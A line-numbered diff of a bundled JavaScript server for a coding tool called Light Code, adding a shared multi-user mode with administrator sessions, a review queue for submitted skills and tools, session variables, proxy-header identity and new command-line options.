+ "/admin/": "index.html",
66588
67991
  "/client.js": "client.js",
66589
- "/client.css": "client.css"
67992
+ "/client.css": "client.css",
67993
+ /*
67994
+ * The guide's diagrams, one entry per step and palette.
67995
+ *
67996
+ * Derived from `GUIDE_STEPS` rather than listed by hand, but still a *fixed table*: the keys
67997
+ * come from checked-in data, never from the request, so `serveAsset` keeps the property that
67998
+ * makes it safe — no part of the path is attacker-supplied and traversal is unreachable.
67999
+ */
68000
+ ...Object.fromEntries(
68001
+ GUIDE_STEPS.flatMap(
68002
+ (step) => ["light", "dark"].map((theme) => [
68003
+ `/guide/${step.id}-${theme}.svg`,
68004
+ `guide/${step.id}-${theme}.svg`
68005
+ ])
68006
+ )
68007
+ )
66590
68008
  };
66591
68009
  var CONTENT_TYPES = {
66592
68010
  ".html": "text/html; charset=utf-8",
66593
68011
  ".js": "text/javascript; charset=utf-8",
66594
- ".css": "text/css; charset=utf-8"
68012
+ ".css": "text/css; charset=utf-8",
68013
+ // Served as an image, and the CSP's `img-src 'self'` is what keeps it one: an SVG loaded
68014
+ // through <img> cannot run script, whatever it contains.
68015
+ ".svg": "image/svg+xml"
66595
68016
  };
66596
68017
  async function startServer(options) {
66597
68018
  const log = options.logSink ?? ((line) => process.stderr.write(`${line}
66598
68019
  `));
66599
68020
  const identity = options.identity ?? new SingleUserIdentity();
66600
68021
  const roles = options.roles ?? SINGLE_USER_POLICY;
68022
+ const sharedStore = options.sharedConfig;
68023
+ const sharedSecretStore = new FileSecretStore(path27.join(options.dataDir, "shared-secrets.json"));
68024
+ const reviews = new ReviewQueue(path27.join(options.dataDir, "reviews.json"));
68025
+ let sharedCache = { variables: [], adminIds: [], profiles: [] };
66601
68026
  const bindAddress = options.bindAddress ?? "127.0.0.1";
68027
+ if (sharedStore !== void 0) sharedCache = await sharedStore.load();
68028
+ const adminConnections = /* @__PURE__ */ new Set();
66602
68029
  const connections = /* @__PURE__ */ new Map();
68030
+ function isAdminSession(principal) {
68031
+ if (!roles.shared) return true;
68032
+ return adminConnections.has(principal.id) && roles.roleFor(principal) === "admin";
68033
+ }
66603
68034
  let policy = { allowedHosts: [], allowedOrigins: [] };
66604
68035
  async function openConnection(principal, response) {
66605
68036
  const listeners = /* @__PURE__ */ new Set();
@@ -66628,7 +68059,37 @@ async function startServer(options) {
66628
68059
  workspaceRoot: options.workspaceRoot,
66629
68060
  dataDir: options.dataDir,
66630
68061
  ripgrepPath: options.ripgrepPath,
66631
- logSink: log
68062
+ logSink: log,
68063
+ /*
68064
+ * Read at use, not captured: an administrator saving a variable must reach a session that
68065
+ * is already open. `SharedConfigStore` caches, so this is a map lookup rather than a read.
68066
+ */
68067
+ adminVariables: () => sharedCache.variables,
68068
+ /*
68069
+ * Only for someone who cannot approve their own work. An administrator keeps the ordinary
68070
+ * in-chat prompt — the same mechanism with the approver already at the screen — so this is
68071
+ * absent for them rather than a queue they would have to visit to approve themselves.
68072
+ */
68073
+ ...roles.shared && !isAdminSession(principal) ? {
68074
+ submitForReview: async (request) => {
68075
+ const queued = await reviews.submit({ ...request, authorId: principal.id, authorName: principal.displayName });
68076
+ log(`${principal.displayName} submitted ${request.kind} "${request.name}" for review`);
68077
+ await broadcastReviews();
68078
+ return describeSubmission(queued);
68079
+ }
68080
+ } : {},
68081
+ /*
68082
+ * Only in shared mode. Outside it there is one person and every profile is already theirs,
68083
+ * so wrapping the stores would add a prefix nobody needs and a second file nobody writes.
68084
+ */
68085
+ ...sharedStore !== void 0 ? {
68086
+ sharedProfiles: () => ({
68087
+ profiles: sharedCache.profiles,
68088
+ ...sharedCache.defaultProfileId !== void 0 ? { defaultProfileId: sharedCache.defaultProfileId } : {},
68089
+ ...sharedCache.defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId: sharedCache.defaultProgrammingProfileId } : {}
68090
+ }),
68091
+ sharedSecrets: sharedSecretStore
68092
+ } : {}
66632
68093
  });
66633
68094
  const originalDispose = connection.dispose;
66634
68095
  connection.dispose = () => {
@@ -66686,8 +68147,18 @@ async function startServer(options) {
66686
68147
  ...securityHeaders()
66687
68148
  });
66688
68149
  response.write(": connected\n\n");
68150
+ const viaAdminUrl = url2.searchParams.get("view") === "admin";
68151
+ if (viaAdminUrl) adminConnections.add(principal.id);
68152
+ else adminConnections.delete(principal.id);
66689
68153
  const connection = await openConnection(principal, response);
66690
68154
  connections.set(principal.id, connection);
68155
+ connection.transport.post({
68156
+ type: "hostRole",
68157
+ role: isAdminSession(principal) ? "admin" : "user",
68158
+ shared: roles.shared,
68159
+ displayName: principal.displayName,
68160
+ sharedProfileIds: sharedCache.profiles.map((profile) => toSharedProfileId(profile.id))
68161
+ });
66691
68162
  const heartbeat = setInterval(() => response.write(": ping\n\n"), 2e4);
66692
68163
  const cleanup = () => {
66693
68164
  clearInterval(heartbeat);
@@ -66705,18 +68176,154 @@ async function startServer(options) {
66705
68176
  }
66706
68177
  const body = await readJsonBody(request);
66707
68178
  const type = typeof body?.type === "string" ? body.type : "";
66708
- if (roles.shared && roles.roleFor(principal) !== "admin" && isAdminOnly(type)) {
68179
+ if (roles.shared && !isAdminSession(principal) && isAdminOnly(type)) {
66709
68180
  log(`refused "${type}" from ${principal.displayName} (${principal.id}): not an administrator`);
66710
68181
  connection.transport.post({ type: "error", message: refusalFor(type) });
66711
68182
  respondJson(response, 403, { ok: false });
66712
68183
  return;
66713
68184
  }
68185
+ if (await handleVariableMessage(principal, type, body, connection)) {
68186
+ respondJson(response, 202, { ok: true });
68187
+ return;
68188
+ }
66714
68189
  connection.deliver(body);
66715
68190
  respondJson(response, 202, { ok: true });
66716
68191
  return;
66717
68192
  }
66718
68193
  reject(response, { status: 404, reason: "Not found." });
66719
68194
  }
68195
+ async function postReviews(principal, connection) {
68196
+ const canDecide = isAdminSession(principal);
68197
+ const all = await reviews.list();
68198
+ const visible = canDecide ? all : all.filter((item) => item.authorId === principal.id);
68199
+ connection.transport.post({
68200
+ type: "reviews",
68201
+ canDecide,
68202
+ items: visible.sort((a, b) => b.submittedAt - a.submittedAt).map((item) => ({
68203
+ id: item.id,
68204
+ kind: item.kind,
68205
+ name: item.name,
68206
+ content: item.content,
68207
+ existingContent: item.existingContent,
68208
+ authorName: item.authorName,
68209
+ submittedAt: item.submittedAt,
68210
+ status: item.status,
68211
+ ...item.producedBy !== void 0 ? { producedBy: item.producedBy } : {},
68212
+ ...item.decidedBy !== void 0 ? { decidedBy: item.decidedBy } : {},
68213
+ ...item.reason !== void 0 ? { reason: item.reason } : {}
68214
+ }))
68215
+ });
68216
+ }
68217
+ async function broadcastReviews() {
68218
+ for (const [id, connection] of connections) {
68219
+ await postReviews({ id, displayName: id }, connection);
68220
+ }
68221
+ }
68222
+ async function applyApproval(item) {
68223
+ if (options.workspaceRoot === void 0) return "No workspace is open, so there is nowhere to write it.";
68224
+ try {
68225
+ if (item.kind === "skill") {
68226
+ const dir2 = path27.join(options.workspaceRoot, ".lightcode", "skills");
68227
+ await fs22.mkdir(dir2, { recursive: true });
68228
+ await fs22.writeFile(path27.join(dir2, `${item.name}.md`), item.content, "utf8");
68229
+ return void 0;
68230
+ }
68231
+ const dir = path27.join(options.workspaceRoot, ".lightcode", "tools");
68232
+ await fs22.mkdir(dir, { recursive: true });
68233
+ await fs22.writeFile(path27.join(dir, `${item.name}.py`), item.content, "utf8");
68234
+ return void 0;
68235
+ } catch (error51) {
68236
+ return error51 instanceof Error ? error51.message : String(error51);
68237
+ }
68238
+ }
68239
+ async function postVariables(principal, connection) {
68240
+ const store = userVariableStoreFor(options.dataDir, principal);
68241
+ const user = store.read();
68242
+ const admin = sharedCache.variables;
68243
+ connection.transport.post({
68244
+ type: "variables",
68245
+ user: [...user],
68246
+ admin: [...admin],
68247
+ resolved: resolveSessionVariables(admin, user),
68248
+ adminIds: sharedCache.adminIds,
68249
+ canEditAdmin: isAdminSession(principal)
68250
+ });
68251
+ }
68252
+ async function handleVariableMessage(principal, type, body, connection) {
68253
+ const payload = body;
68254
+ if (type === "requestReviews") {
68255
+ await postReviews(principal, connection);
68256
+ return true;
68257
+ }
68258
+ if (type === "decideReview") {
68259
+ const id = typeof body.id === "string" ? body.id : "";
68260
+ const approved = body.approved === true;
68261
+ const reason = typeof body.reason === "string" ? body.reason : void 0;
68262
+ const decided = await reviews.decide(id, {
68263
+ approved,
68264
+ by: principal.displayName,
68265
+ ...reason !== void 0 ? { reason } : {}
68266
+ });
68267
+ if (decided === void 0) {
68268
+ connection.transport.post({
68269
+ type: "error",
68270
+ message: "That submission has already been decided. Reload to see the current queue."
68271
+ });
68272
+ return true;
68273
+ }
68274
+ if (approved) {
68275
+ const failure = await applyApproval(decided);
68276
+ if (failure !== void 0) {
68277
+ connection.transport.post({ type: "error", message: `Approved, but could not write it: ${failure}` });
68278
+ }
68279
+ }
68280
+ log(`${principal.displayName} ${approved ? "approved" : "rejected"} ${decided.kind} "${decided.name}"`);
68281
+ await broadcastReviews();
68282
+ return true;
68283
+ }
68284
+ if (type === "requestVariables") {
68285
+ await postVariables(principal, connection);
68286
+ return true;
68287
+ }
68288
+ if (type === "saveUserVariables") {
68289
+ const parsed = sessionVariablesSchema.safeParse(payload.variables);
68290
+ if (!parsed.success) {
68291
+ connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
68292
+ return true;
68293
+ }
68294
+ await userVariableStoreFor(options.dataDir, principal).save(parsed.data);
68295
+ await postVariables(principal, connection);
68296
+ return true;
68297
+ }
68298
+ if (type === "saveAdminVariables" || type === "saveAdminIds") {
68299
+ if (sharedStore === void 0) {
68300
+ connection.transport.post({
68301
+ type: "error",
68302
+ message: "There are no shared settings outside --server mode."
68303
+ });
68304
+ return true;
68305
+ }
68306
+ if (type === "saveAdminVariables") {
68307
+ const parsed = sessionVariablesSchema.safeParse(payload.variables);
68308
+ if (!parsed.success) {
68309
+ connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
68310
+ return true;
68311
+ }
68312
+ sharedCache = await sharedStore.save({ variables: parsed.data });
68313
+ } else {
68314
+ const ids = Array.isArray(payload.ids) ? payload.ids.filter((id) => typeof id === "string") : [];
68315
+ if (!ids.includes(principal.id)) {
68316
+ log(`${principal.displayName} removed themselves from the administrator list`);
68317
+ }
68318
+ sharedCache = await sharedStore.save({ adminIds: [...new Set(ids)] });
68319
+ }
68320
+ for (const [id, other] of connections) {
68321
+ await postVariables({ id, displayName: id }, other);
68322
+ }
68323
+ return true;
68324
+ }
68325
+ return false;
68326
+ }
66720
68327
  async function serveAsset(pathname, response) {
66721
68328
  const asset = CLIENT_ASSETS[pathname];
66722
68329
  if (asset === void 0) {
@@ -66724,9 +68331,9 @@ async function startServer(options) {
66724
68331
  return;
66725
68332
  }
66726
68333
  try {
66727
- const body = await fs19.readFile(path24.join(options.clientDir, asset));
68334
+ const body = await fs22.readFile(path27.join(options.clientDir, asset));
66728
68335
  response.writeHead(200, {
66729
- "Content-Type": CONTENT_TYPES[path24.extname(asset)] ?? "application/octet-stream",
68336
+ "Content-Type": CONTENT_TYPES[path27.extname(asset)] ?? "application/octet-stream",
66730
68337
  ...securityHeaders()
66731
68338
  });
66732
68339
  response.end(body);
@@ -66761,24 +68368,88 @@ async function main() {
66761
68368
  process.stdout.write(usage());
66762
68369
  return;
66763
68370
  }
68371
+ if (args.includes("--guide")) {
68372
+ if (args.includes("--no-open")) {
68373
+ process.stdout.write(renderGuide(process.stdout.isTTY === true));
68374
+ process.stdout.write("\n");
68375
+ return;
68376
+ }
68377
+ const file2 = path28.join(os2.tmpdir(), "light-code-guide.html");
68378
+ await fs23.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
68379
+ process.stdout.write(`Opening the guide: ${file2}
68380
+ (--guide --no-open prints it instead.)
68381
+ `);
68382
+ openBrowser(pathToFileURL(file2).href);
68383
+ return;
68384
+ }
68385
+ const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
68386
+ if (unknown2.length > 0) {
68387
+ process.stderr.write(
68388
+ `light-code: unknown option${unknown2.length === 1 ? "" : "s"} ${unknown2.join(", ")}
68389
+ If you expected this to work, you may be on an older cached copy \u2014 try:
68390
+ npx @chosengeneration/light-code@latest --help
68391
+ `
68392
+ );
68393
+ process.exit(2);
68394
+ }
68395
+ const strayAdminValue = valuesOf(args, "--admin");
68396
+ if (strayAdminValue.length > 0) {
68397
+ process.stderr.write(
68398
+ `light-code: --admin no longer takes a value.
68399
+ --admin opens the administrator's interface
68400
+ --admin-id <id> names an administrator (repeatable)
68401
+ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
68402
+ `
68403
+ );
68404
+ process.exit(2);
68405
+ }
66764
68406
  const serverMode = args.includes("--server");
66765
- const adminIds = valuesOf(args, "--admin");
66766
- const workspaceRoot = path25.resolve(valueOf(args, "--workspace") ?? process.cwd());
68407
+ const adminMode = args.includes("--admin");
68408
+ const adminIds = valuesOf(args, "--admin-id");
68409
+ const trustedProxies = valuesOf(args, "--trust-proxy");
68410
+ const userHeader = valueOf(args, "--user-header");
68411
+ const workspaceRoot = path28.resolve(valueOf(args, "--workspace") ?? process.cwd());
66767
68412
  const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
66768
68413
  const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
66769
68414
  const bindAddress = valueOf(args, "--bind");
66770
68415
  const noOpen = args.includes("--no-open") || serverMode;
66771
- const here = path25.dirname(fileURLToPath(import.meta.url));
68416
+ let identity;
68417
+ if (serverMode) {
68418
+ const bad = validateTrustedProxies(trustedProxies);
68419
+ if (bad.length > 0) {
68420
+ process.stderr.write(`light-code: --trust-proxy is not an IP address: ${bad.join(", ")}
68421
+ `);
68422
+ process.exit(2);
68423
+ }
68424
+ if (trustedProxies.length === 0) {
68425
+ process.stderr.write(
68426
+ "light-code: --server needs --trust-proxy <address of your reverse proxy>.\nUsers are identified by a header the proxy sets, and a header is only believable\nfrom an address you name \u2014 anything that can reach this port can type one.\n"
68427
+ );
68428
+ process.exit(2);
68429
+ }
68430
+ identity = new ProxyHeaderIdentity({
68431
+ trustedProxies,
68432
+ ...userHeader !== void 0 ? { userHeader } : {}
68433
+ });
68434
+ }
68435
+ const sharedConfig = new SharedConfigStore(path28.join(dataDir, "shared.json"));
68436
+ const shared = await sharedConfig.load();
68437
+ const effectiveAdminIds = [.../* @__PURE__ */ new Set([...shared.adminIds, ...adminIds])];
68438
+ if (adminIds.length > 0 && effectiveAdminIds.length !== shared.adminIds.length) {
68439
+ await sharedConfig.save({ adminIds: effectiveAdminIds });
68440
+ }
68441
+ const here = path28.dirname(fileURLToPath(import.meta.url));
66772
68442
  const server = await startServer({
66773
68443
  workspaceRoot,
66774
68444
  dataDir,
66775
- clientDir: path25.join(here, "client"),
68445
+ clientDir: path28.join(here, "client"),
66776
68446
  ripgrepPath: resolveRipgrep(),
66777
68447
  port: Number.isNaN(port) ? 0 : port,
66778
- ...serverMode ? { roles: adminListPolicy(adminIds) } : {},
68448
+ ...serverMode ? { roles: adminListPolicy(effectiveAdminIds), sharedConfig } : {},
68449
+ ...identity !== void 0 ? { identity } : {},
66779
68450
  ...bindAddress !== void 0 ? { bindAddress } : {}
66780
68451
  });
66781
- const launchUrl = `${server.url}/#t=${server.launchToken ?? ""}`;
68452
+ const launchUrl = `${server.url}${adminMode ? "/admin" : ""}/#t=${server.launchToken ?? ""}`;
66782
68453
  process.stdout.write(
66783
68454
  `
66784
68455
  Light Code
@@ -66788,7 +68459,7 @@ Light Code
66788
68459
  `
66789
68460
  );
66790
68461
  if (serverMode) {
66791
- const who = adminIds.length === 0 ? "nobody \u2014 no --admin was given, so configuration is frozen" : `${String(adminIds.length)} administrator(s)`;
68462
+ const who = effectiveAdminIds.length === 0 ? "nobody \u2014 no --admin-id was given, so configuration is frozen" : `${String(effectiveAdminIds.length)} administrator(s)`;
66792
68463
  process.stdout.write(` mode shared \u2014 settings are read-only except for ${who}
66793
68464
  `);
66794
68465
  process.stdout.write(
@@ -66799,11 +68470,24 @@ Light Code
66799
68470
  );
66800
68471
  }
66801
68472
  process.stdout.write("\n");
66802
- process.stdout.write(`Opening ${server.url}
68473
+ if (serverMode) {
68474
+ process.stdout.write(
68475
+ ` users ${server.url}/
68476
+ administrators ${server.url}/admin
68477
+
68478
+ Both go through your proxy. Anyone reaching /admin directly is an administrator.
68479
+
68480
+ `
68481
+ );
68482
+ } else {
68483
+ process.stdout.write(
68484
+ `Opening ${server.url}
66803
68485
  (If the browser does not open, paste this within 10 seconds:)
66804
68486
  ${launchUrl}
66805
68487
 
66806
- `);
68488
+ `
68489
+ );
68490
+ }
66807
68491
  if (!noOpen) openBrowser(launchUrl);
66808
68492
  const shutdown = () => {
66809
68493
  process.stdout.write("\nStopping.\n");
@@ -66812,6 +68496,21 @@ ${launchUrl}
66812
68496
  process.on("SIGINT", shutdown);
66813
68497
  process.on("SIGTERM", shutdown);
66814
68498
  }
68499
+ var KNOWN_FLAGS = /* @__PURE__ */ new Set([
68500
+ "--help",
68501
+ "-h",
68502
+ "--workspace",
68503
+ "--port",
68504
+ "--data-dir",
68505
+ "--no-open",
68506
+ "--server",
68507
+ "--admin",
68508
+ "--admin-id",
68509
+ "--trust-proxy",
68510
+ "--user-header",
68511
+ "--bind",
68512
+ "--guide"
68513
+ ]);
66815
68514
  function valuesOf(args, flag) {
66816
68515
  const values = [];
66817
68516
  for (let index = 0; index < args.length; index++) {
@@ -66852,8 +68551,16 @@ Usage: light-code [options]
66852
68551
  --no-open Print the URL instead of launching a browser
66853
68552
  --server Shared mode: configuration is read-only for everyone
66854
68553
  except the administrators named below
66855
- --admin <id> An administrator's identity id (repeatable)
68554
+ --admin Open the administrator's interface (/admin) instead
68555
+ --admin-id <id> An administrator's identity id (repeatable)
68556
+ --trust-proxy <ip> Believe the user header from this address (repeatable).
68557
+ Required in shared mode; without it every request is
68558
+ refused, which is the safe direction to fail
68559
+ --user-header <h> Header carrying the user id (default X-Forwarded-User)
66856
68560
  --bind <address> Interface to listen on (default: 127.0.0.1)
68561
+ --guide Open the operator guide in your browser \u2014 setting up
68562
+ shared mode, who can change what, and what it does not
68563
+ protect against. Add --no-open to print it instead
66857
68564
  -h, --help This message
66858
68565
 
66859
68566
  Binds 127.0.0.1 unless --bind says otherwise. Anything that can reach the port